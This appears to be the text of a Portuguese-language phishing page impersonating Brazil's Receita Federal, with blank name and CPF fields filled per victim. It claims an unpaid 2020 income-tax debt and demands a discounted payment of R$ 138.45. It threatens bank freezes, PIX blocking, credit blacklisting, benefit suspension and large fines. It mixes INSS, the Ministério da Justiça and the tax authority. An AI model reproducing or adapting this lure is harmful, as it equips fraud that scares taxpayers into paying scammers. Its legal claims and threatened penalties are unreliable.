Portal de Restituição de Tributos Federais - INSS

INTIMAÇÃO FISCAL - RECEITA FEDERAL DO BRASIL

, portador(a) do CPF , em conformidade com o artigo 142 do CTN, informamos que após cruzamento de dados das suas declarações do Imposto de Renda Pessoa Física do ano de 2020, foi identificada uma pendência tributária em sua situação fiscal.

PRAZO FINAL: é o último dia para regularização. O não cumprimento desta intimação resultará nas seguintes punições conforme Instrução Normativa RFB nº 1.888/2019:

  • Bloqueio de contas bancárias e cartões
  • Impossibilidade de movimentar PIX, TED e DOC
  • Restrições no Banco Central e SERASA
  • Suspensão do acesso a benefícios federais (Auxílio, Bolsa Família, etc.)
  • Impedimento para financiamentos, empréstimos e compras no crédito
  • Aplicação de multa automática de até 150%

Confirme se os dados abaixo correspondem à sua identificação:

Nome:

CPF:

MINISTÉRIO DA JUSTIÇA

DOCUMENTO OFICIAL

Portal de Restituição de Tributos Federais - INSS

Este documento foi assinado em e possui permissão do Ministério da Justiça para fazer cumprir todos os bloqueios e restrições supracitados em face de , portador do CPF nº , conforme legislação vigente.

Secretário Especial da Receita Federal

Robinson Sakiyama Barreirinhas

DADOS DO DEVEDOR

NOME:

CPF:

Divergências calculadas pela Receita Federal que devem ser pagas:

Valor original do débito: R$ 419,55

Valor com desconto: R$ 138,45

IRPF
R$ 138,45

⚠️ NOTIFICAÇÃO OFICIAL - PRAZO FINAL

O não cumprimento da obrigação tributária até resultará na imposição de multa adicional no valor de R$ 1.985,00 e na aplicação das seguintes medidas administrativas pela Receita Federal do Brasil:

1. BLOQUEIO BANCÁRIO: Suspensão de todas as contas correntes, poupanças e investimentos
2. RESTRIÇÃO CREDITÍCIA: Inscrição do nome nos órgãos de proteção ao crédito (SPC/SERASA)
3. BLOQUEIO DO CPF: Impossibilidade de realizar transações financeiras e operações bancárias

Para regularizar a situação fiscal e evitar a aplicação das penalidades previstas no documento oficial, é obrigatório efetuar o pagamento das divergências calculadas pela Receita Federal no valor total de R$ 138,45.